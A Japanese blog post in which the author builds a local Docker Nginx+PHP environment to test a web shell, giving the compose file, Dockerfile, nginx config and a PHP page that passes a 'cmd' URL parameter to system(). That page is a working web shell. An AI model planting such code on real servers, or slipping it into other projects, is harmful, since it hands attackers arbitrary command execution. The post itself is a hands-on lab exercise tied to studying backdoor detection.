DockerでNginx+PHP環境を簡単に構築してWebシェルを立ててみる

1年ぶりくらいに技術触るのでリハビリがてら。

Linuxカーネルのバックドアとして使われがちなWebシェルを手軽に試したいと思ったのでDockerで環境を構築してテストしてみた。

docker-composeの環境構築

docker-compose.ymlなどの内容は下記の参考サイトより拝借。
ディレクトリ構成は画像のような感じ。

# docker-compose.yml

version: "3"
services:
    nginx:
        build: .
        ports:
            - 8080:8080
        volumes:
            - ./content_home:/usr/share/nginx/html
            - ./conf.d:/etc/nginx/conf.d

    php:
        image: php:8-fpm
        volumes:
            - ./content_home:/usr/share/nginx/html
# Dockerfile

FROM 'nginx:latest'

RUN service nginx start
# default.conf

server {
    listen       8080;
    listen  [::]:8080;
    server_name  localhost;

    #access_log  /var/log/nginx/host.access.log  main;

	root   /usr/share/nginx/html;
	index  index.html index.htm index.php;

    location / {
    	try_files $uri $uri/ /index.php$is_args$args;
    }
    
    #error_page  404              /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }

    # proxy the PHP scripts to Apache listening on 127.0.0.1:80
    #
    #location ~ \.php$ {
    #    proxy_pass   http://127.0.0.1;
    #}

    # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
    #
    location ~ \.php$ {
        root           /usr/share/nginx/html;
        fastcgi_pass   php:9000;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        include        fastcgi_params;
    }

    # deny access to .htaccess files, if Apache's document root
    # concurs with nginx's one
    #
    #location ~ /\.ht {
    #    deny  all;
    #}
}
# index.php

<html>
    <body>
        <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
        <input type="TEXT" name="cmd" id="cmd" size="80">
        <input type="SUBMIT" value="Execute">
    </form>
    <pre>
        <?php
            if(isset($_GET['cmd']))
            {
                system($_GET['cmd']);
            }
        ?>
    </pre>

    </body>
</html>

index.phpはDockerfileのCOPYでコンテナに持っていくつもりだったが、どうもうまく行かないのでdocker-compose.yml側でマウントした。

Webシェルのテスト

http://localhost:8080/ にアクセスして実行したいOSコマンドを入力すれば良い。
下記は "whoami; pwd; ls -alh"をブラウザから実行した例。

ついでにcurlでもテスト。

参考

↑ DockerでNginxとPHPの環境を立てる方法。
docker-compose.ymlの書き方って毎回忘れて調べてる気がする。


↑ Webシェルのコードを引用。記事内ではauditdやsysmonでWebシェルのバックドアを検知する手法も説明されており興味深かった。

いいなと思ったら応援しよう!